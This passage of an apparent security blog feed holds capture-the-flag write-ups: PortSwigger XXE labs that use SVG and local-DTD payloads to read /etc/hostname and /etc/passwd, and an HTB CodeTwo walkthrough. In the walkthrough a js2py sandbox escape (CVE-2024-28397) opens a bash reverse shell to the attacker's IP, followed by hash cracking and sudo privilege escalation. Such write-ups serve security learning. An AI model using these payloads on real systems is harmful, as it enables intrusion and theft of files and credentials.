------WebKitFormBoundary49osAwipf2s1ka4j
Content-Disposition: form-data; name=&quot;postId&quot;

1
------WebKitFormBoundary49osAwipf2s1ka4j
Content-Disposition: form-data; name=&quot;comment&quot;

SHELL
------WebKitFormBoundary49osAwipf2s1ka4j
Content-Disposition: form-data; name=&quot;name&quot;

b14cky
------WebKitFormBoundary49osAwipf2s1ka4j
Content-Disposition: form-data; name=&quot;avatar&quot;; filename=&quot;shell.svg&quot;
Content-Type: image/svg+xml

&amp;lt;?xml version=&quot;1.0&quot; standalone=&quot;yes&quot;?&amp;gt;
&amp;lt;!DOCTYPE svg [
  &amp;lt;!ENTITY hostname SYSTEM &quot;file:///etc/hostname&quot;&amp;gt;
]&amp;gt;
&amp;lt;svg width=&quot;300&quot; height=&quot;50&quot;
     xmlns=&quot;http://www.w3.org/2000/svg&quot;
     version=&quot;1.1&quot;&amp;gt;
  &amp;lt;text x=&quot;10&quot; y=&quot;30&quot; font-size=&quot;20&quot;&amp;gt;&amp;amp;hostname;&amp;lt;/text&amp;gt;
&amp;lt;/svg&amp;gt;

------WebKitFormBoundary49osAwipf2s1ka4j
Content-Disposition: form-data; name=&quot;email&quot;

b14cky@b14cky.com
------WebKitFormBoundary49osAwipf2s1ka4j
Content-Disposition: form-data; name=&quot;website&quot;


------WebKitFormBoundary49osAwipf2s1ka4j--

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;After that we can comment here, and when we open that image by left click on that small line we can see the hostname being parsed as image,&lt;/li&gt;
&lt;li&gt;And by submitting this we solve the lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251115033936.png&quot; alt=&quot;Pasted image 20251115033936.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ca02670f9934
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251115034126.png&quot; alt=&quot;Pasted image 20251115034126.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251115034228.png&quot; alt=&quot;Pasted image 20251115034228.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 9: Lab: Exploiting XXE to retrieve data by repurposing a local DTD&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251115034303.png&quot; alt=&quot;Pasted image 20251115034303.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To solve the lab, trigger an error message containing the contents of the &lt;code&gt;/etc/passwd&lt;/code&gt; file.&lt;/li&gt;
&lt;li&gt;We &apos;ll need to reference an existing DTD file on the server and redefine an entity from it.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!hint]
Systems using the GNOME desktop environment often have a DTD at &lt;code&gt;/usr/share/yelp/dtd/docbookx.dtd&lt;/code&gt; containing an entity called &lt;code&gt;ISOamso.&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;here is the &lt;code&gt;/product/stock&lt;/code&gt; request,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/2
Host: 0a4d00fd043c861785096a5f003c00b5.web-security-academy.net
Cookie: session=R0yEJiPTL22MkObAvejC94rcXXXCesDq
Content-Length: 107
Sec-Ch-Ua-Platform: &quot;Windows&quot;
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: &quot;Not_A Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;142&quot;
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a4d00fd043c861785096a5f003c00b5.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a4d00fd043c861785096a5f003c00b5.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;stockCheck&amp;gt;
	&amp;lt;productId&amp;gt;1&amp;lt;/productId&amp;gt;
	&amp;lt;storeId&amp;gt;1&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is the payload that we will use to dump &lt;code&gt;/etc/passwd&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;Loads a trusted DTD (&lt;code&gt;docbookx.dtd&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Overrides a known parameter entity (&lt;code&gt;ISOamso&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Overrides it with malicious parameter entities:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;file&lt;/code&gt; → loads &lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eval&lt;/code&gt; → constructs a new entity named &lt;code&gt;error&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;error&lt;/code&gt; → references invalid URL containing file contents → triggers SAX error showing &lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The parser &lt;strong&gt;re-expands&lt;/strong&gt; everything, hits the invalid entity → throws error → reveals file content.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE message [
&amp;lt;!ENTITY % local_dtd SYSTEM &quot;file:///usr/share/yelp/dtd/docbookx.dtd&quot;&amp;gt;
&amp;lt;!ENTITY % ISOamso &apos;
&amp;lt;!ENTITY &amp;amp;#x25; file SYSTEM &quot;file:///etc/passwd&quot;&amp;gt;
&amp;lt;!ENTITY &amp;amp;#x25; eval &quot;&amp;lt;!ENTITY &amp;amp;#x26;#x25; error SYSTEM &amp;amp;#x27;file:///nonexistent/&amp;amp;#x25;file;&amp;amp;#x27;&amp;gt;&quot;&amp;gt;
&amp;amp;#x25;eval;
&amp;amp;#x25;error;
&apos;&amp;gt;
%local_dtd;
]&amp;gt;
&amp;lt;stockCheck&amp;gt;
  &amp;lt;productId&amp;gt;&amp;amp;xxe;&amp;lt;/productId&amp;gt;
  &amp;lt;storeId&amp;gt;1&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251115035337.png&quot; alt=&quot;Pasted image 20251115035337.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251115035352.png&quot; alt=&quot;Pasted image 20251115035352.png&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>HTB Machine CodeTwo Aug 2025</title><link>https://fuwari.vercel.app/posts/htb-machine-codetwo/notes/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/htb-machine-codetwo/notes/</guid><description>Writeup of HTB CodeTwo Machine.</description><pubDate>Wed, 27 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Scanning&lt;/h1&gt;
&lt;h2&gt;Rustscan - Initial Port Discovery&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827210813.png&quot; alt=&quot;Pasted image 20250827210813.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Our initial reconnaissance revealed two open ports on the target machine:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Port 22&lt;/strong&gt; - SSH service (standard secure shell access)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Port 8000&lt;/strong&gt; - HTTP service (likely a web application)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This limited attack surface suggests a focused approach will be most effective.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Nmap - Detailed Service Enumeration&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# Nmap 7.94SVN scan initiated Wed Aug 27 21:10:14 2025 as: nmap -sC -sV -p22,8000 -oA nmap/initials -Pn 10.10.11.82
Nmap scan report for codetwo.htb (10.10.11.82)
Host is up (0.32s latency).

PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http-alt?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 27 21:13:22 2025 -- 1 IP address (1 host up) scanned in 187.64 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Key Findings:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SSH Service&lt;/strong&gt;: OpenSSH 8.2p1 running on Ubuntu (relatively secure version)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP Service&lt;/strong&gt;: Non-standard port 8000 hosting an unknown web application&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Operating System&lt;/strong&gt;: Ubuntu Linux system&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Enumeration Phase&lt;/h1&gt;
&lt;h2&gt;Web Application Analysis (Port 8000)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827211502.png&quot; alt=&quot;Pasted image 20250827211502.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The web application presents a clean interface with three primary features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Login System&lt;/strong&gt; - User authentication mechanism&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Registration Portal&lt;/strong&gt; - New user account creation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Download App&lt;/strong&gt; - Source code distribution feature&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This combination suggests a code-sharing or development platform.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827211551.png&quot; alt=&quot;Pasted image 20250827211551.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Initial Access Strategy&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I created test credentials using the username &lt;code&gt;user&lt;/code&gt; and password &lt;code&gt;user&lt;/code&gt; to gain legitimate access to the application.&lt;/li&gt;
&lt;li&gt;This allowed me to explore the authenticated features without triggering security mechanisms.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827210522.png&quot; alt=&quot;Pasted image 20250827210522.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Authenticated Access Revealed:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Dashboard URL&lt;/strong&gt;: &lt;code&gt;http://10.10.11.82:8000/dashboard&lt;/code&gt; - Main user interface&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Download URL&lt;/strong&gt;: &lt;code&gt;http://10.10.11.82:8000/download&lt;/code&gt; - Source code access&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Source Code Analysis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;/download&lt;/code&gt; endpoint provided the complete application source code in &lt;code&gt;app.zip&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;This invaluable resource allowed for white-box security analysis and vulnerability identification.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;JavaScript Console Discovery&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;/dashboard&lt;/code&gt; endpoint revealed an interactive JavaScript execution environment - a critical security feature that immediately caught my attention.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827211859.png&quot; alt=&quot;Pasted image 20250827211859.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This JavaScript console allows users to execute arbitrary JavaScript code, which presents a significant attack surface if not properly sandboxed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Exploitation Phase&lt;/h1&gt;
&lt;h2&gt;Source Code Vulnerability Assessment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;After extracting and analyzing the downloaded source code, I identified a critical vulnerability involving the &lt;strong&gt;&lt;code&gt;js2py&lt;/code&gt; Python module&lt;/strong&gt;. Here&apos;s the complete Flask application code:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json

js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = &apos;S3cr3tK3yC0d3Tw0&apos;
app.config[&apos;SQLALCHEMY_DATABASE_URI&apos;] = &apos;sqlite:///users.db&apos;
app.config[&apos;SQLALCHEMY_TRACK_MODIFICATIONS&apos;] = False
db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password_hash = db.Column(db.String(128), nullable=False)

class CodeSnippet(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey(&apos;user.id&apos;), nullable=False)
    code = db.Column(db.Text, nullable=False)

@app.route(&apos;/&apos;)
def index():
    return render_template(&apos;index.html&apos;)

@app.route(&apos;/dashboard&apos;)
def dashboard():
    if &apos;user_id&apos; in session:
        user_codes = CodeSnippet.query.filter_by(user_id=session[&apos;user_id&apos;]).all()
        return render_template(&apos;dashboard.html&apos;, codes=user_codes)
    return redirect(url_for(&apos;login&apos;))

@app.route(&apos;/register&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def register():
    if request.method == &apos;POST&apos;:
        username = request.form[&apos;username&apos;]
        password = request.form[&apos;password&apos;]
        password_hash = hashlib.md5(password.encode()).hexdigest()
        new_user = User(username=username, password_hash=password_hash)
        db.session.add(new_user)
        db.session.commit()
        return redirect(url_for(&apos;login&apos;))
    return render_template(&apos;register.html&apos;)

@app.route(&apos;/login&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def login():
    if request.method == &apos;POST&apos;:
        username = request.form[&apos;username&apos;]
        password = request.form[&apos;password&apos;]
        password_hash = hashlib.md5(password.encode()).hexdigest()
        user = User.query.filter_by(username=username, password_hash=password_hash).first()
        if user:
            session[&apos;user_id&apos;] = user.id
            session[&apos;username&apos;] = username;
            return redirect(url_for(&apos;dashboard&apos;))
        return &quot;Invalid credentials&quot;
    return render_template(&apos;login.html&apos;)

@app.route(&apos;/logout&apos;)
def logout():
    session.pop(&apos;user_id&apos;, None)
    return redirect(url_for(&apos;index&apos;))

@app.route(&apos;/save_code&apos;, methods=[&apos;POST&apos;])
def save_code():
    if &apos;user_id&apos; in session:
        code = request.json.get(&apos;code&apos;)
        new_code = CodeSnippet(user_id=session[&apos;user_id&apos;], code=code)
        db.session.add(new_code)
        db.session.commit()
        return jsonify({&quot;message&quot;: &quot;Code saved successfully&quot;})
    return jsonify({&quot;error&quot;: &quot;User not logged in&quot;}), 401

@app.route(&apos;/download&apos;)
def download():
    return send_from_directory(directory=&apos;/home/app/app/static/&apos;, path=&apos;app.zip&apos;, as_attachment=True)

@app.route(&apos;/delete_code/&amp;lt;int:code_id&amp;gt;&apos;, methods=[&apos;POST&apos;])
def delete_code(code_id):
    if &apos;user_id&apos; in session:
        code = CodeSnippet.query.get(code_id)
        if code and code.user_id == session[&apos;user_id&apos;]:
            db.session.delete(code)
            db.session.commit()
            return jsonify({&quot;message&quot;: &quot;Code deleted successfully&quot;})
        return jsonify({&quot;error&quot;: &quot;Code not found&quot;}), 404
    return jsonify({&quot;error&quot;: &quot;User not logged in&quot;}), 401

@app.route(&apos;/run_code&apos;, methods=[&apos;POST&apos;])
def run_code():
    try:
        code = request.json.get(&apos;code&apos;)
        result = js2py.eval_js(code)
        return jsonify({&apos;result&apos;: result})
    except Exception as e:
        return jsonify({&apos;error&apos;: str(e)})

if __name__ == &apos;__main__&apos;:
    with app.app_context():
        db.create_all()
    app.run(host=&apos;0.0.0.0&apos;, debug=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CVE-2024-28397: js2py Sandbox Escape Vulnerability&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;My research revealed a critical vulnerability in the &lt;code&gt;js2py&lt;/code&gt; library that allows sandbox escape and remote code execution.&lt;/li&gt;
&lt;li&gt;I found an excellent proof-of-concept from the &lt;a href=&quot;https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape&quot;&gt;CVE-2024-28397-js2py-Sandbox-Escape POC repository&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827212313.png&quot; alt=&quot;Pasted image 20250827212313.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Understanding the js2py Vulnerability&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;What is js2py?&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;js2py&lt;/code&gt; is a Python package designed to safely evaluate JavaScript code within Python interpreters&lt;/li&gt;
&lt;li&gt;It&apos;s commonly used by web scrapers to parse and execute JavaScript found on websites&lt;/li&gt;
&lt;li&gt;The library includes security measures like &lt;code&gt;js2py.disable_pyimport()&lt;/code&gt; to prevent code escape&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Critical Flaw:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;A vulnerability exists in the implementation of global variables within &lt;code&gt;js2py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Attackers can obtain references to Python objects within the js2py environment&lt;/li&gt;
&lt;li&gt;This allows complete escape from the JavaScript sandbox&lt;/li&gt;
&lt;li&gt;Remote code execution becomes possible despite security restrictions&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attack Scenarios:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Malicious websites can host JavaScript files that exploit this vulnerability&lt;/li&gt;
&lt;li&gt;HTTP APIs accepting JavaScript code become vectors for remote code execution&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Any application using &lt;code&gt;js2py&lt;/code&gt; to process untrusted JavaScript is vulnerable&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Exploitation Development&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;I modified the original proof-of-concept to include a reverse shell payload targeting my attack machine:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;let cmd = &quot;/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.76/1337 0&amp;gt;&amp;amp;1&apos;&quot;
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve(&quot;__getattribute__&quot;)
obj = n11(&quot;__class__&quot;).__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == &quot;subprocess&quot; &amp;amp;&amp;amp; item.__name__ == &quot;Popen&quot;) {
            return item
        }
        if(item.__name__ != &quot;type&quot; &amp;amp;&amp;amp; (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Payload Breakdown:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Line 1&lt;/strong&gt;: Defines the reverse shell command targeting my listener&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lines 2-7&lt;/strong&gt;: Establishes access to Python object references through JavaScript&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lines 9-18&lt;/strong&gt;: Locates the Python &lt;code&gt;subprocess.Popen&lt;/code&gt; class for command execution&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Line 20&lt;/strong&gt;: Executes the reverse shell command using the discovered Popen class&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Gaining Initial Access&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I established a netcat listener on port 1337 and executed the malicious JavaScript payload through the web application&apos;s console interface.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827212928.png&quot; alt=&quot;Pasted image 20250827212928.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The payload executed successfully through the dashboard interface:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827212954.png&quot; alt=&quot;Pasted image 20250827212954.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Success!&lt;/strong&gt; The reverse shell connected immediately, providing access as the &lt;code&gt;app&lt;/code&gt; service account:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827213059.png&quot; alt=&quot;Pasted image 20250827213059.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Database Credential Extraction&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The application source code revealed critical database configuration details:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = &apos;S3cr3tK3yC0d3Tw0&apos;
app.config[&apos;SQLALCHEMY_DATABASE_URI&apos;] = &apos;sqlite:///users.db&apos;
app.config[&apos;SQLALCHEMY_TRACK_MODIFICATIONS&apos;] = False
db = SQLAlchemy(app)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SQLite Database Analysis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I located the SQLite database file at &lt;code&gt;/app/instance/users.db&lt;/code&gt; and extracted the user credentials:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827213413.png&quot; alt=&quot;Pasted image 20250827213413.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Database Contents:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827213910.png&quot; alt=&quot;Pasted image 20250827213910.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;marco | 649c9d65a206a75f5abe509fe128bce5
app   | a97588c0e2fa3a024876339e27aeb42e
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Password Cracking&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Using John the Ripper, I successfully cracked the MD5 hashes:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827214122.png&quot; alt=&quot;Pasted image 20250827214122.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cracked Credentials:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Username&lt;/strong&gt;: &lt;code&gt;marco&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password&lt;/strong&gt;: &lt;code&gt;sweetangelbabylove&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;SSH Access and User Flag&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;With the recovered credentials, I successfully authenticated via SSH:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827214527.png&quot; alt=&quot;Pasted image 20250827214527.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;User Flag Retrieved:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827214606.png&quot; alt=&quot;Pasted image 20250827214606.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a90eb8b312927f4bf9f56831b4af4d82
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Post-Exploitation and Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Sudo Privileges Assessment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I examined the user&apos;s sudo privileges to identify potential escalation vectors:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827215026.png&quot; alt=&quot;Pasted image 20250827215026.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Critical Discovery:&lt;/strong&gt; The user &lt;code&gt;marco&lt;/code&gt; can execute &lt;code&gt;/usr/local/bin/npbackup-cli&lt;/code&gt; with full sudo privileges without password authentication.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;NPBackup Analysis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;NPBackup is a comprehensive backup solution available at &lt;a href=&quot;https://github.com/netinvent/npbackup&quot;&gt;https://github.com/netinvent/npbackup&lt;/a&gt;. The tool provides extensive backup and restore capabilities, including:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250827215706.png&quot; alt=&quot;Pasted image 20250827215706.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Key Command Options:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-b&lt;/code&gt; flag: Initiates backup operations&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-f&lt;/code&gt; flag: Forces backup execution without prompts&lt;/li&gt;
&lt;li&gt;Configuration-driven backup processes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Configuration File Analysis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The backup tool relies on &lt;code&gt;npbackup.conf&lt;/code&gt; for operational parameters. I copied this configuration to &lt;code&gt;/tmp&lt;/code&gt; for modification:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri:     __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password:       __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
groups:
  default_group:
    backup_opts:
      paths: []
      source_type:
      stdin_from_command:
      stdin_filename:
      tags: []
      compression: auto
      use_fs_snapshot: true
      ignore_cloud_files: true
      one_file_system: false
      priority: low
      exclude_caches: true
      excludes_case_ignore: false
      exclude_files:
      - excludes/generic_excluded_extensions
      - excludes/generic_excludes
      - excludes/windows_excludes
      - excludes/linux_excludes
      exclude_patterns: []
      exclude_files_larger_than:
      additional_parameters:
      additional_backup_only_parameters:
      minimum_backup_size_error: 10 MiB
      pre_exec_commands: []
      pre_exec_per_command_timeout: 3600
      pre_exec_failure_is_fatal: false
      post_exec_commands: []
      post_exec_per_command_timeout: 3600
      post_exec_failure_is_fatal: false
      post_exec_execute_even_on_backup_error: true
      post_backup_housekeeping_percent_chance: 0
      post_backup_housekeeping_interval: 0
    repo_opts:
      repo_password:
      repo_password_command:
      minimum_backup_age: 1440
      upload_speed: 800 Mib
      download_speed: 0 Mib
      backend_connections: 0
      retention_policy:
        last: 3
        hourly: 72
        daily: 30
        weekly: 4
        monthly: 12
        yearly: 3
        tags: []
        keep_within: true
        group_by_host: true
        group_by_tags: true
        group_by_paths: false
        ntp_server:
      prune_max_unused: 0 B
      prune_max_repack_size:
    prometheus:
      backup_job: ${MACHINE_ID}
      group: ${MACHINE_GROUP}
    env:
      env_variables: {}
      encrypted_env_variables: {}
    is_protected: false
identity:
  machine_id: ${HOSTNAME}__blw0
  machine_group:
global_prometheus:
  metrics: false
  instance: ${MACHINE_ID}
  destination:
  http_username:
  http_password:
  additional_labels: {}
